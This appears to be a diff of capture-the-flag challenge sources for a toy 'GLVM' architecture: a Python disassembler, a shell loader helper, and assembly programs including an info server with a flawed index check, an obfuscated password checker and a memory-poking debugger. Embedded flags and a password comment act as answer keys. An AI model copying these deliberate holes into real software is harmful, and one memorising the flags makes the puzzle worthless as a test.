0xb1: ("ldrb_r1", 3), |
||||
|
0xb2: ("ldrb_r2", 3), |
||||
|
0xb3: ("ldrb_r3", 3), |
||||
|
0xb4: ("ldr_r0", 3), |
||||
|
0xb5: ("ldr_r1", 3), |
||||
|
0xb6: ("ldr_r2", 3), |
||||
|
0xb7: ("ldr_r3", 3), |
||||
|
0xb8: ("strb_r0", 3), |
||||
|
0xb9: ("strb_r1", 3), |
||||
|
0xba: ("strb_r2", 3), |
||||
|
0xbb: ("strb_r3", 3), |
||||
|
0xbc: ("str_r0", 3), |
||||
|
0xbd: ("str_r1", 3), |
||||
|
0xbe: ("str_r2", 3), |
||||
|
0xbf: ("str_r3", 3), |
||||
|
0xc0: ("illegal_c0", 1), |
||||
|
0xc1: ("illegal_c1", 1), |
||||
|
0xc2: ("illegal_c2", 1), |
||||
|
0xc3: ("illegal_c3", 1), |
||||
|
0xc4: ("illegal_c4", 1), |
||||
|
0xc5: ("jp_r0", 1), |
||||
|
0xc6: ("jp_r1", 1), |
||||
|
0xc7: ("jp_r2", 1), |
||||
|
0xc8: ("jp_r3", 1), |
||||
|
0xc9: ("call_r0", 1), |
||||
|
0xca: ("call_r1", 1), |
||||
|
0xcb: ("call_r2", 1), |
||||
|
0xcc: ("call_r3", 1), |
||||
|
0xcd: ("and_r0", 3), |
||||
|
0xce: ("or_r0", 3), |
||||
|
0xcf: ("xor_r0", 3), |
||||
|
0xd0: ("and_r0_r0", 1), |
||||
|
0xd1: ("and_r0_r1", 1), |
||||
|
0xd2: ("and_r0_r2", 1), |
||||
|
0xd3: ("and_r0_r3", 1), |
||||
|
0xd4: ("or_r0_r0", 1), |
||||
|
0xd5: ("or_r0_r1", 1), |
||||
|
0xd6: ("or_r0_r2", 1), |
||||
|
0xd7: ("or_r0_r3", 1), |
||||
|
0xd8: ("xor_r0_r0", 1), |
||||
|
0xd9: ("xor_r0_r1", 1), |
||||
|
0xda: ("xor_r0_r2", 1), |
||||
|
0xdb: ("xor_r0_r3", 1), |
||||
|
0xdc: ("swap_r0", 1), |
||||
|
0xdd: ("swap_r1", 1), |
||||
|
0xde: ("swap_r2", 1), |
||||
|
0xdf: ("swap_r3", 1), |
||||
|
0xe0: ("add_r0", 3), |
||||
|
0xe1: ("add_r1", 3), |
||||
|
0xe2: ("add_r2", 3), |
||||
|
0xe3: ("add_r3", 3), |
||||
|
0xe4: ("illegal_e4", 1), |
||||
|
0xe5: ("illegal_e5", 1), |
||||
|
0xe6: ("illegal_e6", 1), |
||||
|
0xe7: ("illegal_e7", 1), |
||||
|
0xe8: ("illegal_e8", 1), |
||||
|
0xe9: ("illegal_e9", 1), |
||||
|
0xea: ("illegal_ea", 1), |
||||
|
0xeb: ("illegal_eb", 1), |
||||
|
0xec: ("illegal_ec", 1), |
||||
|
0xed: ("illegal_ed", 1), |
||||
|
0xee: ("illegal_ee", 1), |
||||
|
0xef: ("illegal_ef", 1), |
||||
|
0xf0: ("illegal_f0", 1), |
||||
|
0xf1: ("illegal_f1", 1), |
||||
|
0xf2: ("illegal_f2", 1), |
||||
|
0xf3: ("illegal_f3", 1), |
||||
|
0xf4: ("illegal_f4", 1), |
||||
|
0xf5: ("illegal_f5", 1), |
||||
|
0xf6: ("illegal_f6", 1), |
||||
|
0xf7: ("illegal_f7", 1), |
||||
|
0xf8: ("illegal_f8", 1), |
||||
|
0xf9: ("illegal_f9", 1), |
||||
|
0xfa: ("illegal_fa", 1), |
||||
|
0xfb: ("illegal_fb", 1), |
||||
|
0xfc: ("illegal_fc", 1), |
||||
|
0xfd: ("illegal_fd", 1), |
||||
|
0xfe: ("illegal_fe", 1), |
||||
|
0xff: ("illegal_ff", 1), |
||||
|
} |
||||
|
|
||||
|
stop_instr = [ |
||||
|
"ret", |
||||
|
"jp" |
||||
|
] |
||||
|
|
||||
|
f = open(file, "rb") |
||||
|
f.seek(addr) |
||||
|
while True: |
||||
|
o = f.tell() + base |
||||
|
b = f.read(1)[0] |
||||
|
if b not in instrs: |
||||
|
print("Unhandled: %02x" % b) |
||||
|
break |
||||
|
|
||||
|
i = instrs[b] |
||||
|
a = 0 |
||||
|
for x in range(i[1]-1): |
||||
|
a |= f.read(1)[0] << (8 * x) |
||||
|
if i[1] != 1: |
||||
|
print("%s 0x%04x # 0x%04x" % (i[0], a, o)) |
||||
|
else: |
||||
|
print("%s # 0x%04x" % (i[0], o)) |
||||
|
|
||||
|
if i[0] in stop_instr: |
||||
|
break |
@ -0,0 +1,10 @@ |
|||||
|
#!/bin/sh |
||||
|
make "$1" 1>&2 |
||||
|
|
||||
|
echo w |
||||
|
echo 2000 |
||||
|
xxd -p "$1" |
||||
|
echo . |
||||
|
echo x |
||||
|
echo 2000 |
||||
|
echo Y |
@ -0,0 +1,227 @@ |
|||||
|
.include "instr.inc" |
||||
|
.text |
||||
|
|
||||
|
.global _start |
||||
|
_start: |
||||
|
# Set up the stack |
||||
|
ld_sp mem_stack |
||||
|
copr_random |
||||
|
str_r0 mem_stack_tail |
||||
|
str_r0 mem_stack_cookie |
||||
|
copr_random |
||||
|
str_r0 mem_stack_tail + 2 |
||||
|
str_r0 mem_stack_cookie + 2 |
||||
|
|
||||
|
# Prompt for username |
||||
|
ld_r2 str_login |
||||
|
call PrintStr |
||||
|
ld_r2 mem_username |
||||
|
ld_r3 15 |
||||
|
call ReadStr |
||||
|
ld_r2 mem_username |
||||
|
call StrTrim |
||||
|
|
||||
|
call main |
||||
|
|
||||
|
ld_r2 str_done |
||||
|
call PrintStr |
||||
|
|
||||
|
copr_halt |
||||
|
die: |
||||
|
jp die |
||||
|
|
||||
|
main: |
||||
|
# Welcome the user |
||||
|
ld_r2 str_welcome |
||||
|
call PrintStr |
||||
|
ld_r2 mem_username |
||||
|
call PrintStr |
||||
|
ld_r2 str_welcome2 |
||||
|
call PrintStr |
||||
|
|
||||
|
# Process input |
||||
|
ld_r2 mem_input |
||||
|
call input_read |
||||
|
ldrb_r0 mem_input |
||||
|
cp_r0 'Q' |
||||
|
jp_eq main_end |
||||
|
cp_r0 'q' |
||||
|
jp_eq main_end |
||||
|
ldrb_r0 mem_input + 1 |
||||
|
cp_r0 '\n' |
||||
|
jp_eq main_print_info |
||||
|
cp_r0 0 |
||||
|
jp_eq main_print_info |
||||
|
jp main_wrong_input |
||||
|
|
||||
|
main_print_info: |
||||
|
# Get info index |
||||
|
ldrb_r3 mem_input |
||||
|
add_r3 -'0' |
||||
|
cp_r3 3 |
||||
|
jp_lo main_wrong_input |
||||
|
|
||||
|
# Print the correct string |
||||
|
add_r3_r3 |
||||
|
add_r3 mem_info_strings |
||||
|
ldr_r2_r3 |
||||
|
call PrintStr |
||||
|
jp main |
||||
|
|
||||
|
main_wrong_input: |
||||
|
ld_r2 str_wrong_input |
||||
|
call PrintStr |
||||
|
ld_r3 0x1000 |
||||
|
jp main |
||||
|
|
||||
|
main_end: |
||||
|
# Check for stack smash |
||||
|
ldr_r0 mem_stack_cookie |
||||
|
ldr_r1 mem_stack_tail |
||||
|
cp_r0_r1 |
||||
|
jp_ne stack_smash_halt |
||||
|
ldr_r0 mem_stack_cookie + 2 |
||||
|
ldr_r1 mem_stack_tail + 2 |
||||
|
cp_r0_r1 |
||||
|
jp_ne stack_smash_halt |
||||
|
ret |
||||
|
|
||||
|
input_read: |
||||
|
# Store the byte |
||||
|
copr_getc |
||||
|
strb_r0_r2 |
||||
|
|
||||
|
# Treat newline as delimiter |
||||
|
cp_r0 '\n' |
||||
|
jp_eq input_read_end |
||||
|
|
||||
|
# Don't increment if ran out of space |
||||
|
cp_r3 0 |
||||
|
jp_eq input_read_skip |
||||
|
inc_r2 |
||||
|
dec_r3 |
||||
|
input_read_skip: |
||||
|
jp input_read |
||||
|
|
||||
|
input_read_end: |
||||
|
# Terminate the string |
||||
|
inc_r2 |
||||
|
ld_r0 0 |
||||
|
strb_r0_r2 |
||||
|
|
||||
|
# Check for stack smash |
||||
|
ldr_r0 mem_stack_cookie |
||||
|
ldr_r1 mem_stack_tail |
||||
|
cp_r0_r1 |
||||
|
jp_ne stack_smash_halt |
||||
|
ldr_r0 mem_stack_cookie + 2 |
||||
|
ldr_r1 mem_stack_tail + 2 |
||||
|
cp_r0_r1 |
||||
|
jp_ne stack_smash_halt |
||||
|
ret |
||||
|
|
||||
|
stack_smash_halt: |
||||
|
ld_r2 str_stack_smashing_detected |
||||
|
call PrintStr |
||||
|
copr_halt |
||||
|
|
||||
|
str_stack_smashing_detected: |
||||
|
.ascii "*** stack smashing detected *** " |
||||
|
text_ram_byte 0xfe00 |
||||
|
text_ram_byte 0xfe01 |
||||
|
text_ram_byte 0xfe02 |
||||
|
text_ram_byte 0xfe03 |
||||
|
.ascii " != " |
||||
|
text_ram_byte 0xf74f |
||||
|
text_ram_byte 0xf750 |
||||
|
text_ram_byte 0xf751 |
||||
|
text_ram_byte 0xf752 |
||||
|
.ascii " - halted\n\0" |
||||
|
|
||||
|
str_login: |
||||
|
.ascii "Welcome to Glitch Research Lab Information Server (GRLINFSRV)\n" |
||||
|
.ascii "Enter your name for our records (max 15 characters): \0" |
||||
|
|
||||
|
str_welcome: |
||||
|
.ascii "\n" |
||||
|
.ascii "-----\n" |
||||
|
.ascii "\n" |
||||
|
.ascii "Welcome, \0" |
||||
|
|
||||
|
str_welcome2: |
||||
|
.ascii "!\n" |
||||
|
.ascii "\n" |
||||
|
.ascii "Selection of topics:\n" |
||||
|
.ascii "(1) About the Glitch Research Laboratory\n" |
||||
|
.ascii "(2) About the GLVM test servers\n" |
||||
|
.ascii "(3) About the Fight Simulation Program\n" |
||||
|
.ascii "\n" |
||||
|
.ascii "Enter the number of the topic you wish to view, or 'q' to leave: \0" |
||||
|
|
||||
|
str_done: |
||||
|
.ascii "Thank you. Have a nice day!\n\0" |
||||
|
|
||||
|
mem_info_strings: |
||||
|
.2byte str_wrong_input |
||||
|
.2byte str_info_1 |
||||
|
.2byte str_info_2 |
||||
|
.2byte str_info_3 |
||||
|
|
||||
|
str_wrong_input: |
||||
|
.ascii "Please type 1, 2 or 3, dummy!\n\0" |
||||
|
|
||||
|
str_info_1: |
||||
|
.ascii "\n" |
||||
|
.ascii "-----\n" |
||||
|
.ascii "\n" |
||||
|
.ascii "Glitch Research Laboratory is the leading glitchology research\n" |
||||
|
.ascii "facility in all of Glitch Islands. We specialize in research of\n" |
||||
|
.ascii "various glitch phenomena existing in Glitch Islands and in all of\n" |
||||
|
.ascii "the surrounding areas.\n" |
||||
|
.ascii "\0" |
||||
|
|
||||
|
str_info_2: |
||||
|
.ascii "\n" |
||||
|
.ascii "-----\n" |
||||
|
.ascii "\n" |
||||
|
.ascii "GLVM is our innovative, new machine architecture, designed to bring\n" |
||||
|
.ascii "the ease of Z80 assembly programming to the modern world.\n" |
||||
|
.ascii "The simplified instruction set of the GLVM enhances productivity\n" |
||||
|
.ascii "of our employees and significantly speeds up development of software\n" |
||||
|
.ascii "required for our research.\n" |
||||
|
.ascii "Work on the GLVM architecture is still ongoing, and all implementation\n" |
||||
|
.ascii "details are strictly confidential, until further notice.\n" |
||||
|
.ascii "\0" |
||||
|
|
||||
|
str_info_3: |
||||
|
.ascii "\n" |
||||
|
.ascii "-----\n" |
||||
|
.ascii "\n" |
||||
|
.ascii "Fight Simulation Program is the current ongoing project of Glitch\n" |
||||
|
.ascii "Research Laboratory. It allows for examination of behavior of\n" |
||||
|
.ascii "malicious glitch actors, such as Missingno., without running the risk\n" |
||||
|
.ascii "of prolonged exposure to glitches or corruption.\n" |
||||
|
.ascii "Participants are able to fight against opponents in an isolated\n" |
||||
|
.ascii "environment, similar to typical turn-based strategy games.\n" |
||||
|
.ascii "The program is still in development, and as such, all details are\n" |
||||
|
.ascii "strictly confidential.\n" |
||||
|
.ascii "\0" |
||||
|
|
||||
|
.ascii "FOOLS2023_{DoesThisCountAsFormatString}\n\0" |
||||
|
|
||||
|
mem_username: |
||||
|
.ascii "________________" |
||||
|
|
||||
|
mem_stack_cookie: |
||||
|
.fill 4, 1, 0 |
||||
|
|
||||
|
mem_input: |
||||
|
.ascii "________" |
||||
|
|
||||
|
.fill 0x6a5, 1, 0 |
||||
|
|
||||
|
mem_stack_tail: |
||||
|
.fill 0x100, 1, 0 |
||||
|
|
||||
|
mem_stack: |
||||
|
.fill 0x100, 1, 0 |
File diff suppressed because it is too large
@ -0,0 +1,80 @@ |
|||||
|
.include "instr.inc" |
||||
|
.text |
||||
|
|
||||
|
.global _start |
||||
|
_start: |
||||
|
# Check if the program is running from the right address |
||||
|
push_pc |
||||
|
pop_r3 |
||||
|
cp_r3 _start |
||||
|
jp_eq main |
||||
|
ld_r2_r3 |
||||
|
add_r2 (str_wrong_address - _start) |
||||
|
jp PrintStr |
||||
|
|
||||
|
main: |
||||
|
ld_r2 str_intro |
||||
|
call PrintStr |
||||
|
|
||||
|
# Ask for input, continue if user confirms |
||||
|
ld_r2 mem_input |
||||
|
ld_r3 7 |
||||
|
call ReadStr |
||||
|
|
||||
|
ldr_r0 mem_input |
||||
|
cp_r0 'Y' |
||||
|
jp_eq check |
||||
|
cp_r0 'y' |
||||
|
jp_eq check |
||||
|
cp_r0 ('Y' + '\n' * 0x100) |
||||
|
jp_eq check |
||||
|
cp_r0 ('y' + '\n' * 0x100) |
||||
|
jp_eq check |
||||
|
|
||||
|
# The user hasn't confirmed |
||||
|
ld_r2 str_aborted |
||||
|
call PrintStr |
||||
|
ret |
||||
|
|
||||
|
check: |
||||
|
copr 0x66 |
||||
|
loop: |
||||
|
copr 0x64 |
||||
|
call 0x3009 |
||||
|
copr 0x65 |
||||
|
cp_r0 2 |
||||
|
jp_eq fail |
||||
|
cp_r0 1 |
||||
|
jp_eq loop |
||||
|
ret |
||||
|
|
||||
|
fail: |
||||
|
ld_r2 str_unsuccessful |
||||
|
call PrintStr |
||||
|
ret |
||||
|
|
||||
|
str_intro: |
||||
|
.ascii "Glitch Research Laboratory Math Coprocessor\n" |
||||
|
.ascii "Testing Software: Function SQRT\n" |
||||
|
.ascii "\n" |
||||
|
.ascii "This program will test the SQRT function of the math module.\n" |
||||
|
.ascii "This function, executable with CALL 0x3009, should compute the\n" |
||||
|
.ascii "integer part of sqrt(R0) and return it in R0 (preserving R1-R3).\n" |
||||
|
.ascii "\n" |
||||
|
.ascii "Math module results will be compared with the coprocessor.\n" |
||||
|
.ascii "Note - if math module is not loaded, this test might crash the machine!\n" |
||||
|
.ascii "Report any bugs to administrator: ax.arwen@glitchlabsresearch.internal\n" |
||||
|
.ascii "\n" |
||||
|
.ascii "Continue with running the test (Y/N): \0" |
||||
|
|
||||
|
str_aborted: |
||||
|
.ascii "Aborted.\n\0" |
||||
|
|
||||
|
str_unsuccessful: |
||||
|
.ascii "Test was unsuccessful.\n\0" |
||||
|
|
||||
|
str_wrong_address: |
||||
|
.ascii "Please load this program at address $2000.\n\0" |
||||
|
|
||||
|
mem_input: |
||||
|
.ascii "________\0" |
@ -0,0 +1,108 @@ |
|||||
|
.include "instr.inc" |
||||
|
.text |
||||
|
|
||||
|
.global _start |
||||
|
_start: |
||||
|
push_pc |
||||
|
pop_r3 |
||||
|
|
||||
|
cp_r3 _start |
||||
|
jp_eq main |
||||
|
ld_r2_r3 |
||||
|
add_r2 (str_wrong_address - _start) |
||||
|
jp PrintStr |
||||
|
|
||||
|
main: |
||||
|
# Gather the password |
||||
|
ld_r2 str_prompt_password |
||||
|
call PrintStr |
||||
|
ld_r2 mem_password |
||||
|
ld_r3 0x10 |
||||
|
call ReadStr |
||||
|
ld_r2 mem_password |
||||
|
call StrTrim |
||||
|
ld_r2 str_validating |
||||
|
call PrintStr |
||||
|
|
||||
|
# Fuck you |
||||
|
# Fuck you |
||||
|
# Fuck you |
||||
|
ld_r3 0 # Fuck you |
||||
|
mix # Fuck you |
||||
|
mix1_ld_r1 mem_password # Fuck you |
||||
|
mix1_inc_r1 # Fuck you |
||||
|
mix1_ldr_r0_r1 # Fuck you |
||||
|
mix1_ld_r1 0x5871 # Fuck you |
||||
|
mix1_cp_r0_r1 # Fuck you |
||||
|
mix1_jp_ne mix1_skip_inc # Fuck you |
||||
|
mix1_inc_r3 # Fuck you |
||||
|
mix1_skip_inc: # Fuck you |
||||
|
# Fuck you |
||||
|
mix1_switch2 # Fuck you |
||||
|
mix2_ldr_r0 mem_password + 3 # Fuck you |
||||
|
mix2_xor_r0 0x54c2 # Fuck you |
||||
|
mix2_cp_r0 0x6da4 # Fuck you |
||||
|
mix2_jp_ne mix2_skip_inc # Fuck you |
||||
|
mix2_inc_r3 # Fuck you |
||||
|
mix2_skip_inc: # Fuck you |
||||
|
# Fuck you |
||||
|
mix2_switch3 # Fuck you |
||||
|
mix3_ld_r1 mem_password + 1 # Fuck you |
||||
|
mix3_dec_r1 # Fuck you |
||||
|
mix3_ldrb_r0_r1 # Fuck you |
||||
|
mix3_add_r0_r0 # Fuck you |
||||
|
mix3_add_r0_r0 # Fuck you |
||||
|
mix3_cp_r0 0x011c # Fuck you |
||||
|
mix3_jp_ne mix3_skip_inc # Fuck you |
||||
|
mix3_inc_r3 # Fuck you |
||||
|
mix3_skip_inc: # Fuck you |
||||
|
# Fuck you |
||||
|
mix3_ld_r0 -1 # Fuck you |
||||
|
mix_delay: # Fuck you |
||||
|
mix3_dec_r0 # Fuck you |
||||
|
mix3_cp_r0 0x0201 # Fuck you |
||||
|
mix3_jp_ne mix_delay # Fuck you |
||||
|
mix3_end # Fuck you |
||||
|
# Fuck you |
||||
|
# Fuck you |
||||
|
# Fuck you |
||||
|
|
||||
|
ldrb_r0 mem_password + 5 |
||||
|
cp_r0 0 |
||||
|
jp_ne main_check |
||||
|
inc_r3 |
||||
|
main_check: |
||||
|
|
||||
|
cp_r3 4 |
||||
|
jp_eq main_correct |
||||
|
ld_r2 str_incorrect |
||||
|
call PrintStr |
||||
|
ret |
||||
|
|
||||
|
main_correct: |
||||
|
ld_r2 str_correct |
||||
|
call PrintStr |
||||
|
ret |
||||
|
|
||||
|
str_prompt_password: |
||||
|
.ascii "MIX/UNMIX opcodes - proof of concept\n" |
||||
|
.ascii "Enter a password: \0" |
||||
|
|
||||
|
str_aborted: |
||||
|
.ascii "Aborted.\n\0" |
||||
|
|
||||
|
str_incorrect: |
||||
|
.ascii "Nope, it's wrong.\n\0" |
||||
|
|
||||
|
str_validating: |
||||
|
.ascii "Validating...\n\0" |
||||
|
|
||||
|
str_correct: |
||||
|
.ascii "Yes, it's correct! FOOLS2023_{*insert correct pass here*}\n\0" |
||||
|
|
||||
|
str_wrong_address: |
||||
|
.ascii "Please load this program at address $2000.\n\0" |
||||
|
|
||||
|
# GqXf9 |
||||
|
mem_password: |
||||
|
.ascii "________________________\0" |
@ -0,0 +1,680 @@ |
|||||
|
.include "instr.inc" |
||||
|
.text |
||||
|
|
||||
|
mem_e000: |
||||
|
.2byte 0 |
||||
|
|
||||
|
mem_e002: |
||||
|
.fill 0x0efe |
||||
|
|
||||
|
mem_ef00: |
||||
|
.fill 0xb0 |
||||
|
|
||||
|
mem_efb0: |
||||
|
.fill 0x30 |
||||
|
|
||||
|
mem_efe0: |
||||
|
.fill 0x20 |
||||
|
|
||||
|
.global _start |
||||
|
_start: |
||||
|
ld_sp stack |
||||
|
|
||||
|
# Set up the entrypoint for the breakpoint instruction |
||||
|
ld_r0 entry |
||||
|
ld_r1 0x98 # 'call' |
||||
|
strb_r1_r0 |
||||
|
inc_r0 |
||||
|
ld_r1 main |
||||
|
str_r1_r0 |
||||
|
|
||||
|
# Explain the debugger |
||||
|
ld_r2 str_intro |
||||
|
call PrintStr |
||||
|
|
||||
|
# Execute the breakpoint, jump to main |
||||
|
brk |
||||
|
|
||||
|
# If breakpoint returns here, we've ran out of stack |
||||
|
ld_r2 str_dry_stack |
||||
|
call PrintStr |
||||
|
copr_halt |
||||
|
die: |
||||
|
jp die |
||||
|
|
||||
|
main: |
||||
|
# Save all the registers |
||||
|
push_sp |
||||
|
str_r0 mem_save_r0 |
||||
|
str_r1 mem_save_r1 |
||||
|
str_r2 mem_save_r2 |
||||
|
str_r3 mem_save_r3 |
||||
|
|
||||
|
# Store the stack pointer |
||||
|
pop_r0 |
||||
|
str_r0 mem_info_sp |
||||
|
|
||||
|
# Read the return address |
||||
|
ld_r0_sp |
||||
|
ldr_r0_r0 |
||||
|
add_r0 -1 |
||||
|
str_r0 mem_info_pc |
||||
|
|
||||
|
# Read some more stack values |
||||
|
ld_r1 (6 * 2) |
||||
|
ld_r2 mem_info_stack |
||||
|
ldr_r3 mem_info_sp |
||||
|
call MemCpy |
||||
|
|
||||
|
# Print the processor state |
||||
|
ld_r2 str_breakpoint |
||||
|
call PrintStr |
||||
|
|
||||
|
main_cmd_loop: |
||||
|
ld_r0 0 |
||||
|
strb_r0 mem_e002 |
||||
|
|
||||
|
ld_r2 str_ready |
||||
|
call PrintStr |
||||
|
|
||||
|
# Read input |
||||
|
ld_r2 mem_e000 |
||||
|
ld_r3 8 |
||||
|
call ReadStr |
||||
|
cp_r3 0 |
||||
|
jp_eq error_too_long |
||||
|
ld_r2 mem_e000 |
||||
|
call StrTrim |
||||
|
|
||||
|
# Make sure the input is at most 2 characters |
||||
|
ldrb_r0 mem_e002 |
||||
|
cp_r0 0 |
||||
|
jp_ne error_bad_command |
||||
|
|
||||
|
# Parse all the commands |
||||
|
ldr_r0 mem_e000 |
||||
|
|
||||
|
cp_r0 ('h' + '\n' * 0x100) |
||||
|
jp_eq cmd_help |
||||
|
cp_r0 'h' |
||||
|
jp_eq cmd_help |
||||
|
|
||||
|
cp_r0 'r' |
||||
|
jp_eq cmd_read |
||||
|
cp_r0 ('r' + '\n' * 0x100) |
||||
|
jp_eq cmd_read |
||||
|
|
||||
|
cp_r0 'p' |
||||
|
jp_eq cmd_print |
||||
|
cp_r0 ('p' + '\n' * 0x100) |
||||
|
jp_eq cmd_print |
||||
|
|
||||
|
cp_r0 'x' |
||||
|
jp_eq cmd_exec |
||||
|
cp_r0 ('x' + '\n' * 0x100) |
||||
|
jp_eq cmd_exec |
||||
|
|
||||
|
cp_r0 'c' |
||||
|
jp_eq cmd_cont |
||||
|
cp_r0 ('c' + '\n' * 0x100) |
||||
|
jp_eq cmd_cont |
||||
|
|
||||
|
cp_r0 ('U' + 'C' * 0x100) |
||||
|
jp_eq cmd_undoc |
||||
|
|
||||
|
cp_r0 ('l' + 's' * 0x100) |
||||
|
jp_eq cmd_list |
||||
|
|
||||
|
cp_r0 ('r' + 'f' * 0x100) |
||||
|
jp_eq cmd_readfile |
||||
|
|
||||
|
cp_r0 'w' |
||||
|
jp_eq cmd_write |
||||
|
cp_r0 ('w' + '\n' * 0x100) |
||||
|
jp_eq cmd_write |
||||
|
|
||||
|
error_bad_command: |
||||
|
ld_r2 str_error_bad_command |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
error_too_long: |
||||
|
ld_r2 str_error_too_long |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_help: |
||||
|
ld_r2 str_help |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_read: |
||||
|
# Get the address to read |
||||
|
ld_r2 str_prompt_address |
||||
|
call PrintStr |
||||
|
ld_r2 mem_e000 |
||||
|
ld_r3 8 |
||||
|
call ReadStr |
||||
|
ld_r2 mem_e000 |
||||
|
call ConvertHex |
||||
|
cp_r0 -1 |
||||
|
jp_eq cmd_read_invalid |
||||
|
push_r0 |
||||
|
|
||||
|
# Get the amount of lines to read |
||||
|
ld_r2 str_prompt_lines |
||||
|
call PrintStr |
||||
|
ld_r2 mem_e000 |
||||
|
ld_r3 8 |
||||
|
call ReadStr |
||||
|
ld_r2 mem_e000 |
||||
|
call ConvertHex |
||||
|
cp_r0 -1 |
||||
|
jp_eq cmd_read_invalid |
||||
|
cp_r0 0 |
||||
|
jp_eq cmd_read_invalid |
||||
|
|
||||
|
# r2 = address, r3 = lines |
||||
|
ld_r3_r0 |
||||
|
pop_r2 |
||||
|
|
||||
|
cmd_read_loop: |
||||
|
# Read 8 bytes |
||||
|
push_r2 |
||||
|
push_r3 |
||||
|
ld_r1 8 |
||||
|
ld_r3_r2 |
||||
|
ld_r2 mem_data |
||||
|
call MemCpy |
||||
|
pop_r3 |
||||
|
pop_r2 |
||||
|
|
||||
|
# Store the current read address |
||||
|
str_r2 mem_addr |
||||
|
|
||||
|
# Write it out |
||||
|
push_r2 |
||||
|
push_r3 |
||||
|
ld_r2 str_hexdump |
||||
|
call PrintStr |
||||
|
pop_r3 |
||||
|
pop_r2 |
||||
|
|
||||
|
# Check if we're done |
||||
|
add_r2 8 |
||||
|
dec_r3 |
||||
|
cp_r3 0 |
||||
|
jp_ne cmd_read_loop |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_read_invalid: |
||||
|
ld_r2 str_error_invalid_input |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_write: |
||||
|
# Get the address to write |
||||
|
ld_r2 str_prompt_address |
||||
|
call PrintStr |
||||
|
ld_r2 mem_e000 |
||||
|
ld_r3 8 |
||||
|
call ReadStr |
||||
|
ld_r2 mem_e000 |
||||
|
call ConvertHex |
||||
|
cp_r0 -1 |
||||
|
jp_eq cmd_write_invalid |
||||
|
str_r0 mem_addr |
||||
|
|
||||
|
ld_r2 str_prompt_hex |
||||
|
call PrintStr |
||||
|
|
||||
|
cmd_write_loop: |
||||
|
# Clear the buffer |
||||
|
ld_r3 mem_e000 + 2 |
||||
|
ld_r0 0 |
||||
|
strb_r0_r3 |
||||
|
dec_r3 |
||||
|
strb_r0_r3 |
||||
|
dec_r3 |
||||
|
|
||||
|
cmd_write_loop_first: |
||||
|
# Get the first nybble |
||||
|
copr_getc |
||||
|
strb_r0_r3 |
||||
|
ld_r2_r3 |
||||
|
|
||||
|
# Check if it's the end or invalid |
||||
|
cp_r0 '.' |
||||
|
jp_eq cmd_write_end |
||||
|
cp_r0 '\n' |
||||
|
jp_eq cmd_write_loop_first |
||||
|
|
||||
|
# Try to convert the nybble |
||||
|
push_r3 |
||||
|
call ConvertHex |
||||
|
pop_r3 |
||||
|
cp_r0 -1 |
||||
|
jp_eq cmd_write_loop_first |
||||
|
|
||||
|
inc_r3 |
||||
|
|
||||
|
cmd_write_loop_second: |
||||
|
# Get the second nybble |
||||
|
copr_getc |
||||
|
strb_r0_r3 |
||||
|
ld_r2_r3 |
||||
|
|
||||
|
# Check if it's the end or invalid |
||||
|
cp_r0 '.' |
||||
|
jp_eq cmd_write_end |
||||
|
cp_r0 '\n' |
||||
|
jp_eq cmd_write_loop_second |
||||
|
|
||||
|
# Try to convert the nybble |
||||
|
push_r3 |
||||
|
call ConvertHex |
||||
|
pop_r3 |
||||
|
cp_r0 -1 |
||||
|
jp_eq cmd_write_loop_second |
||||
|
|
||||
|
# Convert and store the full byte |
||||
|
dec_r3 |
||||
|
ld_r2_r3 |
||||
|
call ConvertHex |
||||
|
ldr_r1 mem_addr |
||||
|
strb_r0_r1 |
||||
|
inc_r1 |
||||
|
str_r1 mem_addr |
||||
|
jp cmd_write_loop # 0xf1d0 |
||||
|
|
||||
|
cmd_write_end: |
||||
|
# Read until newline |
||||
|
copr_getc |
||||
|
cp_r0 '\n' |
||||
|
jp_ne cmd_write_end |
||||
|
|
||||
|
ld_r2 str_loaded |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_write_invalid: |
||||
|
ld_r2 str_error_invalid_input |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_print: |
||||
|
# Get the string to print |
||||
|
ld_r2 str_prompt_address |
||||
|
call PrintStr |
||||
|
ld_r2 mem_e000 |
||||
|
ld_r3 8 |
||||
|
call ReadStr |
||||
|
ld_r2 mem_e000 |
||||
|
call ConvertHex |
||||
|
|
||||
|
ld_r2_r0 |
||||
|
call PrintStr |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_exec: |
||||
|
# Get the address to execute |
||||
|
ld_r2 str_prompt_address |
||||
|
call PrintStr |
||||
|
ld_r2 mem_e000 |
||||
|
ld_r3 8 |
||||
|
call ReadStr |
||||
|
ld_r2 mem_e000 |
||||
|
call ConvertHex |
||||
|
|
||||
|
# Prompt the user to execute the address |
||||
|
push_r0 |
||||
|
str_r0 mem_addr |
||||
|
ld_r2 str_prompt_exec |
||||
|
call PrintStr |
||||
|
ld_r2 mem_e000 |
||||
|
ld_r3 8 |
||||
|
call ReadStr |
||||
|
ldrb_r0 mem_e000 |
||||
|
cp_r0 'Y' |
||||
|
jp_eq cmd_exec_go |
||||
|
cp_r0 'y' |
||||
|
jp_eq cmd_exec_go |
||||
|
|
||||
|
# Cancel the call |
||||
|
ld_r2 str_error_cancelled |
||||
|
call PrintStr |
||||
|
pop_r0 |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_exec_go: |
||||
|
# Call the function |
||||
|
pop_r3 |
||||
|
call_r3 |
||||
|
jp main_cmd_loop |
||||
|
|
||||
|
cmd_cont: |
||||
|
ld_r2 str_continuing |
||||
|
call PrintStr |
||||
|
|
||||
|
# Restore register state and unpause |
||||
|
ldr_r0 mem_save_r0 |
||||
|
ldr_r1 mem_save_r1 |
||||
|
ldr_r2 mem_save_r2 |
||||
|
ldr_r3 mem_save_r3 |
||||
|
ret |
||||
|
|
||||
|
cmd_list: |
||||
|
ld_r2 str_file_list_header |
||||
|
call PrintStr |
||||
|
|
||||
|
# Read directory |
||||
|
ld_r0 0 |
||||
|
ld_r1 mem_e000 |
||||
|
copr_readblk |
||||
|
|
||||
|
ld_r3 mem_e000 |
||||
|
cmd_list_loop: |
||||
|
